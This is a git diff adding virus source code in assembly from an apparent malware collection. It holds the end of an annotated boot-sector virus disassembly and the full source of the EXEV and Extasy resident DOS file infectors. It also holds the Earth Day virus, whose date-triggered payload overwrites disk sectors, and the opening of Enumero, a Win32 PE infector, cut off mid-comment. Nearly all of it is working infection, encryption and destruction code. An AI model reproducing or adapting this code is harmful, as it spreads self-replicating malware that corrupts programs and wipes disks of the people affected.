DL,80h ;002A4 F6C280 |Is it a hard drive? + JNZ Hard_Drive ;002A7 7534 |Yes, goto Hard_Drive + MOV CH,28h ;002A9 B528 | + CMP Byte Ptr ES:[BX+15h],0FCh;002AB 26807F | + ; 15FC | + JNB H0000_02B4 ;002B0 7302 | + SAL CH,1 ;002B2 D0E5 | + ; | +H0000_02B4: ;--------------------------------- + ; | This code not + PUSH ES ;002B4 06 | analyzed as of + PUSH BX ;002B5 53 | April 21st. + XOR AX,AX ;002B6 33C0 | + MOV ES,AX ;002B8 8EC0 | + LES BX,DWord Ptr ES:[0078h] ;002BA 26C41E | + ; 7800 | + ; |Load ES & operand + ; | from memory + PUSH ES ;002BF 06 | + PUSH BX ;002C0 53 | + INC AL ;002C1 FEC0 | + MOV CL,AL ;002C3 8AC8 | + XCHG CL,ES:[BX+04h] ;002C5 26864F04| + MOV AH,05h ;002C9 B405 | + MOV BX,0059h ;002CB BB5900 | + MOV [BX],CH ;002CE 882F | + PUSH CS ;002D0 0E | + POP ES ;002D1 07 | + CALL Real_Int13_2 ;002D2 E811FF | + POP BX ;002D5 5B | + POP ES ;002D6 07 | + XCHG CL,ES:[BX+04h] ;002D7 26864F04| + POP BX ;002DB 5B | + POP ES ;002DC 07 | + ; | +Hard_Drive: ;--------------------------------- + ; | + CALL Setup_Int13 ;002DD E803FF |Prepare for Write + POP DX ;002E0 5A |Get drive info + JB HD_Exit ;002E1 72BB |On error exit + MOV DS:[0057h],CX ;002E3 890E5700|DS:[57]=11 (Changed) + MOV Word Ptr ES:[BX],1CEBh ;002E7 26C707 |[0000:7C00] now holds + ; EB1C | EB 1C. + MOV SI,001Eh ;002EC BE1E00 |SI=001E + ;-------------------------------;--------------------------------- + ;LEA DI,[BX+001Eh] ; |TASM will emit 8D7F1E + ; |for this instruction, + DB 8Dh,0BFh,1Eh,00h ;002EF 8DBF1E00|so assemble as DB's + ; |BX=7C00 SI=001E + ; |ES=0000 DI=7C1E + ;-------------------------------;--------------------------------- + MOV CX,01E0h ;002F3 B9E001 |cx=01E0h si=001Eh + REP MOVSB ;002F6 F3A4 |Move DS:SI to ES:DI + ; |Restore boot record + ; | from ofs 7C00:001E + ; | Note initial jump + ; | restored to EB 1C. + POP CX ;002F8 59 |CX=number of sectors + CALL Setup_Int13 ;002F9 E8E7FE |Write the new boot + ; | record. + JMP Short Read_New_Boot ;002FC EB83 |Read it and process. +;---------------------------------------;--------------------------------- +Boot_ID DW 0AA55h ;002FE 55AA |All valid boot + ; | sectors end with + ; | 55AA + ENDS ;--------------------------------- + ; Disassembly by Arthur Ellis and ?? + END Boot_Start ; [Suggestions by Lucifer Messiah] + ; April, 1993 +;------------------------------------------------------------------------- + + + +-- +Eric "Mad Dog" Kilby maddog@ccs.neu.edu +The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu +Student at the Northeatstern University College of Computer Science +"I Can't Believe It's Not Butter" + diff --git a/e/EXEV_SR.ASM b/e/EXEV_SR.ASM new file mode 100755 index 0000000..e536559 --- /dev/null +++ b/e/EXEV_SR.ASM @@ -0,0 +1,269 @@ + +PAGE 59,132 + +; +; +; EXEV +; +; Created: 2-Jun-90 +; Version: +; Passes: 9 Analysis Options on: ABCDEFPX +; +; +; + +data_13e equ 1000h ; (6B7E:1000=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +exev proc far + +start: + mov dx,offset data_1 ; (6B7E:010A=0Ah) + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp loc_2 ; (0A10) +data_1 db 0Ah, 0Dh, ' . ' + db ' ! ..', 0Ah, 0Dh, '$' + db 0 + db 1928 dup (0) +data_3 dw 0 + db 0, 0, 0, 0 +data_4 dw 0 +data_5 dw 0 +data_6 dw 0 + db 0, 0, 0, 0 +data_7 dw 0 + db 0, 0, 0, 0 +data_8 dw 0 +data_9 dw 0 + db 310 dup (0) +loc_2: + cld ; Clear direction + mov ax,352Bh + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov bp,ds + push cs + pop ds + add word ptr jmp_far+3,bp ; JMP FAR + mov si,0A10h ; + mov di,si ; ES INT 21H + mov cx,180h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push es ; + mov ax,offset prehod ; , + push ax + retf ; Return far +prehod label word + lea di,[bx+1Bh] ; JMP FAR + mov al,0E9h ; JMP + stosb ; Store al to es:[di] + mov ax,offset jmp_far+3 ; + sub ax,di ; , + stosw ; INT 21H + stosw ; + stosw ; + mov cs:data_3,di ; INT 21H + mov ax,ss ; SS + sub ax,18h + cli + mov ss,ax + lea ax,[bp+10h] ; + mov bx,11h ; +move label word +loc_3: + mov es,ax + add ax,18h + mov ds,ax + xor si,si ; 180h + xor di,di ; . + mov cx,0C0h ; 11h + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + dec bx + jns loc_3 ; Jump if not sign + sti ; Enable interrupts + mov ds,bp ; DS ES + push ds + pop es +jmp_far: db 0EAh,0,0,0,0 ; JMP FAR +int_21: cld ; INT 21H + cmp ah,3Dh ; '=' + je loc_4 ; Jump if equal + cmp ah,4Bh ; 'K' + jne loc_5 ; Jump if not equal +loc_4: ; xref 6B7E:0A70 + push es + call sub_5 ; (0AAD) + pop es +loc_5: ; xref 6B7E:0A75 + jmp cs:data_3 ; JMP INT 21h + +exev endp + +; +; SUBROUTINE +; + +sub_1 proc near ; / + mov cx,20h ; INT 21H_SEG:8C2 + mov dx,8C2h + jmp short loc_6 ; (0A90) ; (0A90) + +; External Entry into Subroutine + +sub_2: + mov ax,4200h + xor dx,dx ; Zero register + +; External Entry into Subroutine + +sub_3: + xor cx,cx + +; External Entry into Subroutine + +sub_4: ; INT 21H +loc_6: ; xref 6B7E:0A87 + pushf ; Push flags + push cs + call cs:data_3 ; (6B7E:08C0=0) + retn +sub_1 endp + +abort : mov al,3 ; INT 24H + iret ; Interrupt return +_1 dw 17D0h + dw 1509h + dw 154Ch +_2 dw 0F7Ah + dw 15DCh ; INT 13H + dw 161Fh + +_3 dw 0FC9h,15DCh,161Fh ; + ;INT 25H,INT 26H,INT 27H + +; +; SUBROUTINE +; + +sub_5 proc near + push di ; + push si + push dx + push cx + push bx + push ax + push ds + xor ax,ax ; Zero register + mov ds,ax + push cs + pop es + mov si,4Ch + push si + mov di,8E2h + mov cx,28h ; 13H 24H + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + pop di + push ds + pop es + mov al,70h ; 'p' + mov ds,ax + mov al,ds:data_13e ; al 70:1000 + mov si,offset _1 + cmp al,0 + je loc_7 ; Jump if equal + mov si,offset _2 + cmp al,0Fh + je loc_7 ; Jump if equal + mov si,offset _3 +loc_7: ; xref 6B7E:0AD5, 0ADC + push cs + pop ds + movsw + mov al,70h ; INT 13H + stosw ; Store ax to es:[di] + mov di,90h + mov ax,offset abort ; INT 24H + stosw ; Store ax to es:[di] + mov ax,cs + stosw + movsw + stosw ; + movsw ; INT 25H , INT 26H , + stosw ; INT 27H + pop ds + mov ax,3D02h ; / + call sub_4 ; (0A90) + push ds + push cs + pop ds + mov bx,ax + mov ax,5700h ; + jc loc_9 ; Jump if carry Set + call sub_4 ; (0A90) + push cx ; + push dx + mov ah,3Fh ; + call sub_1 ; (0A81) + cmp data_5,0 ; + jne loc_8 ; + cmp data_6,ax ; 0 ? + jne loc_8 ; Jump if not equal + mov ax,data_4 ; AX + shl ax,1 ; 2 + mov word ptr move-2,ax ; + sub data_6,18h ; + add data_7,18h ; SS 18h + mov ax,0A10h + xchg ax,data_8 ; IP A10h + mov word ptr jmp_far+1,ax ; IP FAR JMP + mov ax,0FF5Fh ; CS , CS:IP + xchg ax,data_9 ; + add ax,10h + mov word ptr jmp_far+3,ax ; JMP FAR + call sub_2 ; + mov ah,40h ; + call sub_1 ; (0A81) + mov ax,4200h + mov dx,80h ; 80h + call sub_3 ; (0A8E) + mov cx,180h + mov dx,0A10h + mov ah,40h ; + call sub_4 ; (0A90) +loc_8: ; xref 6B7E:0B15, 0B1B + pop dx + pop cx + mov ax,5701h ; + call sub_4 ; (0A90) + mov ah,3Eh ; + call sub_4 ; (0A90) +loc_9: ; xref 6B7E:0B04 + mov si,8E2h + mov di,4Ch + mov cx,28h ; + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + pop ds + pop ax ; + pop bx + pop cx + pop dx + pop si + pop di + retn +sub_5 endp + + db 'The Rat, Sofia' + + + +seg_a ends + + end start + \ No newline at end of file diff --git a/e/EXTASY.ASM b/e/EXTASY.ASM new file mode 100755 index 0000000..938b050 --- /dev/null +++ b/e/EXTASY.ASM @@ -0,0 +1,197 @@ +; Virusname: Extasy +; Origin: Sweden +; Author: Metal Militia + +; This virus can be found with any anti-virus program, since it's been +; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON that is..) +; +; It's a resident .COM infector, without any encryption or stealth +; capabilities. It infects when you execute (4bh) or closes (3eh). +; This virus looks pretty much like RAVAGE, since it's pretty much +; alike except for that RAVAGE infects .EXE files too. +; +; I stopped with this virus since it's so totally buggy that you'll find +; it almost at once. This is the reason why i give you the source code. +; In my later resident things, there will be such things as encryption, +; stealth etc. i think.. + + + .model tiny + .code + .radix 16 + .code + + viruslength = heap - _small + startload = 90 * 4 + + _small: + call relative + oldheader dw 020cdh + dw 0bh dup (0) + relative: + pop bp + push ds + push es + xor ax,ax + mov ds,ax + mov es,ax + mov di,startload + cmp word ptr ds:[di+25],di + jz exit_small + + lea si,[bp-3] + mov cx,viruslength + db 2Eh + rep movsb + + mov di,offset old21 + startload + mov si,21*4 + push si + movsw + movsw + pop di + mov ax,offset int21 + startload + stosw + xchg ax,cx + stosw + + exit_small: + pop es + pop ds + + or sp,sp + jnp returnCOM + + returnGNU: + returnCOM: + mov di,100 + push di + mov si,bp + movsw + movsb + ret + + infect: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + mov ax,3d02 + int 21 + xchg ax,bx + + push cs + pop ds + push cs + pop es + + mov ax,5700h + int 21h + + push cx + push dx + + mov si,offset oldheader+startload + + mov ah,3f + mov cx,18 + push cx + mov dx,si + int 21 + + cmp ax,cx + jnz go_already_infected + + mov di,offset target + startload + push di + rep movsb + pop di + + mov ax,4202 + cwd + int 21 + + cmp ds:[di],'ZM' + jz infectNOT + cmp ds:[di],'MZ' + jz infectNOT + + sub ax,3 + mov byte ptr ds:[di],0e9 + mov ds:[di+1],ax + + sub ax,viruslength + cmp ds:[si-17],ax + jnz finishinfect + + go_already_infected: + pop cx + jmp short already_infected + + db "EXTASY!" + db "(c) Metal Militia / Immortal Riot" + + int21: + cmp ax,4b00 + jz kewl + cmp ax,3e00 + jnz oops + mov ah,45 + int 21 + jmp kewl + + oops: + jmp chain + + infectNOT: + jmp go_already_infected + + kewl: + jmp infect + + finishinfect: + mov cx,viruslength + mov dx,startload + mov ah,40 + int 21 + + mov ax,4200 + xor cx,cx + cwd + int 21 + + mov ah,40 + mov dx,di + pop cx + int 21 + already_infected: + pop dx + pop cx + + mov ax,5701h + int 21h + + mov ah,3e + int 21 + exitinfect: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + chain: + db 0ea + heap: + old21 dw ?, ? + target dw 0ch dup (?) + + endheap: + end _small \ No newline at end of file diff --git a/e/Earthd~1.asm b/e/Earthd~1.asm new file mode 100755 index 0000000..d148711 --- /dev/null +++ b/e/Earthd~1.asm @@ -0,0 +1,330 @@ +; EARTHDAY.ASM -- Earth Day Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + call encrypt_decrypt ; Decrypt the virus +start_of_code label near + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + mov di,bp ; DI points to start of virus + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + call get_month + cmp ax,0004h ; Did the function return 4? + jne skip00 ; If not equal, skip effect + call get_day + cmp ax,0016h ; Did the function return 22? + jne skip00 ; If not equal, skip effect + call get_year + cmp ax,07C9h ; Did the function return 1993? + jle skip00 ; If less that or equal, skip effect + cmp ax,07CCh ; Did the function return 1996? + jge skip00 ; If greater than or equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + mov ax,0002h ; First argument is 2 + mov cx,0100h ; Second argument is 256 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts +end00: xor ah,ah ; BIOS get time function + int 01Ah + xchg dx,ax ; AX holds clock ticks + mov cx,0005h ; We'll divide by 5 + cwd ; Sign-extend AX into DX:AX + div cx ; Divide AX by CX + or dx,dx ; Is there a remaindier? + jne no_infection ; If there is then don't spread + call search_files ; Find and infect a file +no_infection: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + mov sp,bp ; Deallocate local buffer + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + ret ; Return to original program +main endp + db 009h,0C0h,0EEh,0D9h,0ECh +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + call traverse ; Start the traversal + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +root db "\",0 ; Root directory +search_files endp +traverse proc near + push bp ; Save BP + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + call traverse ; Recursively call ourself + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + jnc done_searching ; If we infected then exit +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + pop bp ; Restore BP + ret ; Return to caller +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + db 0E0h,049h,06Ch,01Bh,06Ch +find_files proc near + push bp ; Save BP + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + pop bp ; Restore BP + ret ; Return to caller +find_files endp + db 00Ah,073h,01Fh,038h,054h +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + mov byte ptr [di + set_carry],0 ; Assume we'll fail + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + db 0D9h,095h,0B5h,0D7h,0D0h +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + db 0F6h,028h,099h,0E1h,06Dh +get_month proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_month endp + db 071h,021h,0B4h,033h,071h +get_year proc near + mov ah,02Ah ; DOS get date function + int 021h + xchg cx,ax ; Transfer the year into AX + ret ; Return to caller +get_year endp +data00 db "Happy Earth Day!!!",13,10,13,10 + db "In the spirit of Earth Day, + db "this VIRUS has recycled your hard disk.",13,10,0 +vcl_marker db "[VCL]",0 ; VCL creation marker +note db "[Earth Day]",0 + db "Nowhere Man, [NuKE] '92",0 +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp +end_of_code label near +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near +code ends + end main \ No newline at end of file diff --git a/e/enumero.asm b/e/enumero.asm new file mode 100755 index 0000000..2acdf64 --- /dev/null +++ b/e/enumero.asm @@ -0,0 +1,1172 @@ +; +; Enumero, (c)1998 by Virogen[NOP] +; http://virogen.cjb.net +; +; This is a fairly simple virus I whipped up REAL fast outta the +; existing enumiacs source. The only real thing I wanted to accomplish +; with this virus was full win32 support and demonstration of proper +; PE infection by appending at the end of the last object's virtual +; size, not physical size. +; +; OS: Win32 (win95/98/NT) +; Hosts: PE (Parastic - append to last object at obj_rva+obj_vsize +; No date/time change +; No attribute change +; Correct checksum set in header. +; Physical file size increase varies depending on file alignment +; and previous padding on last object. +; Characteristics: Memory resident. Infects PEs when they terminate. Note +; that the PE must have created a window sometime in +; its execution, it doesn't matter if this window +; is visible or not. Process hidden from win95/98 +; process list. +; +; +; greetz: lapse,jp,vecna,darkman, and everyone else +; + +include mywin.inc + +ID_OFF equ 0ch ; offset of our marker in PE +physical_eip equ 400h ; physical eip +host_physical_eip equ physical_eip+(offset host_entry-offset vstart) ; physical eip of host entry set +VIRUS_SIZE equ 6656 ; size after vgalign +VIRTUAL_SIZE equ 6656 + +; max module/process names we can queue - keep in mind that each +; is allocated 256 bytes of memory +max_idx equ 300 + +.386 +locals +jumps +.model flat,STDCALL +; +; our imported APIs for spawned virus - the spawned virus doesn't have to +; worry with manual importing nor delta offsets of course. +; +extrn ExitProcess:PROC +extrn EnumWindows:PROC +extrn SetPriorityClass:PROC +extrn GetCurrentProcess:PROC +extrn CloseHandle:PROC +extrn ReadFile:PROC +extrn WriteFile:PROC +extrn SetFilePointer:PROC +extrn GetModuleHandleA:PROC +extrn MapViewOfFile:PROC +extrn CreateFileMappingA:PROC +extrn UnmapViewOfFile:PROC +extrn SetEndOfFile:PROC +extrn SetFilePointer:PROC +extrn GetFileAttributesA:PROC +extrn SetFileAttributesA:PROC +extrn GetFileSize:PROC +extrn GetTickCount:PROC +extrn GetFileSize:PROC +extrn GetFileTime:PROC +extrn SetFileTime:PROC +extrn GetProcAddress:PROC +extrn CheckSumMappedFile:PROC +extrn PeekMessageA:PROC +extrn Sleep:PROC +extrn CopyFileA:PROC +extrn FindWindowA:PROC +extrn GetWindowThreadProcessId:PROC +extrn OpenProcess:PROC +extrn PostMessageA:PROC +extrn GetModuleFileNameA:PROC +extrn LoadLibraryA:PROC +extrn FreeLibrary:PROC +extrn IsBadReadPtr:PROC + +org 0 +.data +db ' [Enumero] by Virogen [NOP] ' ; it's i said the fly +.code +vstart: + call geteip ; find relative offset +geteip: + mov ebp,[esp] ; grab it off stack + mov eax,ebp ; used below + sub ebp,offset geteip ; fix it up + add esp,4 ; fix da stack + +; first, let's find kernel base. If this is a parastic portion of virus +; executing, we'll need to obtain a few APIs in order to spawn the virus. +; Here we get a pointer to the kernel from the stack (a return address). +; Then we scan down until we find the kernel base. +; +; We encapsulate this with an SEH handler, in case something goes bad wrong +; we simply immediatly jump to the host (if this is a parastic copy of the +; virus). +; + call set_seh ; setup SEH frame +;-- error handler + mov esp,[esp+8] + pushad + pushfd + call geteip3 +geteip3: + pop ebp + sub ebp,offset geteip3 + jmp seh_exit +;-- end error handler +set_seh: + push dword ptr fs:[0] ; save old exception ptr + mov fs:[0],esp ; set ptr to our exception handler + mov edx,[esp+8] ; determine OS + +find_base_loop: + cmp dword ptr [edx+0b4h],edx ; if we're at base, then + jz good_os ; offset 0b4h contains kernel + dec edx ; base + jmp find_base_loop + +good_os: + mov [ebp+kernelbase],edx ; save kernel base + + pushad + pushfd +; +; this is my API importer from lorez, imports APIs from the kernel32.dll +; export table in memory. Someday I will recode this in a more efficient +; fashion, but I am too lazy today. +; +; a brief explanation of the organization of the export table would be +; useful here. Ok, basically there are three tables within the export +; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal +; Table (16bit). Ok, the ordinal number of an API is the entry number of +; the API in the RVA array. So, multiply the ordinal number by four and +; you've got an index into the API RVA Table. Probably you don't already +; have the ordinal number though, so you'll have to find it. To do this, +; you use the Name Pointer Table. This is an array of pointers to the +; asciiz name of each API. When you find the pointer of the API you're +; looking for by string compares, you take the index number of it and +; multiply it by 2 (because the ordinal table is 16bit). Index the result +; in the ordinal table, and you're all set. +; +; + mov esi,edx + add esi,[esi+3ch] ; relative ptr to PE header + cmp word ptr [esi],'EP' ; make sure we're on right track + jnz goto_host ; if not.. abort + mov esi,[esi+120] ; get export table RVA + add esi,edx ; relative to image base + mov edi,[esi+36] ; get ordinal table RVA + add edi,edx ; relative to image base + mov [ebp+ordinaltbl],edi ; save it + mov edi,[esi+32] ; get name ptr RVA + add edi,edx ; is relative to image base + mov [ebp+nameptrtbl],edi ; save it + mov ecx,[esi+24] ; get number of name ptrs + mov esi,[esi+28] ; get address table RVA + add esi,edx ; is relative to image base + mov [ebp+adrtbl],esi ; save it + + xor edx,edx ; edx is our ordinal counter + ; edi=name ptr table + ; ecx=number of name ptrs + lea esi,[ebp+APIs] ; -> API Name ptrs + mov [ebp+ourAPIptr],esi ; save it + lea eax,[ebp+API_Struct] ; our API address will go here + mov [ebp+curAPIptr],eax ; save it +chk_next_API_name: + mov esi,[ebp+ourAPIptr] ; get ptr to structure item + mov ebx,[esi] ; load ptr to our API name + add ebx,ebp ; add relative address + mov esi,[edi] ; get API name RVA + add esi,[ebp+kernelbase] ; relative to image base +compare_API_name: + lodsb + cmp al,byte ptr [ebx] ; compare a byte of names + jnz not_our_API ; it's not our API + cmp al,0 ; end of string? + jz is_our_API ; it's our API + inc ebx + jmp compare_API_name + +not_our_API: + inc edx ; increment API counter + cmp edx,ecx ; last entry of name ptr table? + jz goto_host ; uhoh.. we didn't find one + ; of our APIs.. abort it all + add edi,4 ; increment export name ptr idx + mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct + jmp chk_next_API_name + +is_our_API: + + mov edi,[ebp+ordinaltbl] ; load oridinal table RVA + push ecx + push edx + xchg edx,eax ; edx=API number + add eax,eax ; *2 cuz ordinals are words + add edi,eax ; add to ordinal table VA + mov ax,[edi] ; get ordinal (word) + xor edx,edx + mov ecx,4 + mul ecx ; *4 cuz address tbl is dd's + mov edi,[ebp+adrtbl] ; load address table VA + add edi,eax ; set idx to API + mov eax,edi + sub eax,[ebp+kernelbase] ; get the VA of the entry + mov [ebp+originalRVAptr],eax ; save it for kernel infection + ; notice that our last API + ; in the array is the one we + ; hook + mov eax,[edi] ; get API RVA + mov [ebp+originalRVA],eax ; save it for kernel infection + add eax,[ebp+kernelbase] ; is relative to image base + mov edi,[ebp+curAPIptr] ; idx to storage stucture + mov [edi],eax ; save VA of API + add edi,4 ; increment index + mov [ebp+curAPIptr],edi ; save + + pop edx + pop ecx + + mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx + mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs + add esi,4 ; increment idx API name ptr structure + mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr + cmp dword ptr [esi],0 ; end of our API structure? + jz found_all ; if so then we got 'em all + mov edi,[ebp+nameptrtbl] ; reset idx to export name pt + xor edx,edx ; reset API counter + jmp chk_next_API_name + +; +; now we've imported all our needed APIs to spawn the virus and execute. +; First we check to see if this is spawned or parastic copy by checking +; delta offset. +; +found_all: + or ebp,ebp ; spawned file or 1st gen? + jz spawned_func +; +; if parastic copy of virus, then spawn virus and execute it. +; + push 275 + push 64 ; allocate memory for spawn + call [ebp+GlobalAllocAPI] ; path and filename + or eax,eax + jz goto_host + + xor ecx,ecx + call GetVirusPathFile + + mov [ebp+spawnfile],eax ; eax->sysdir/spawnfilename buffer + push eax ; save it fer later + + push eax + call [ebp+DeleteFileAPI] ; attempt to delete + +; +; now we spawn a copy of the virus. If there is an error creating the +; 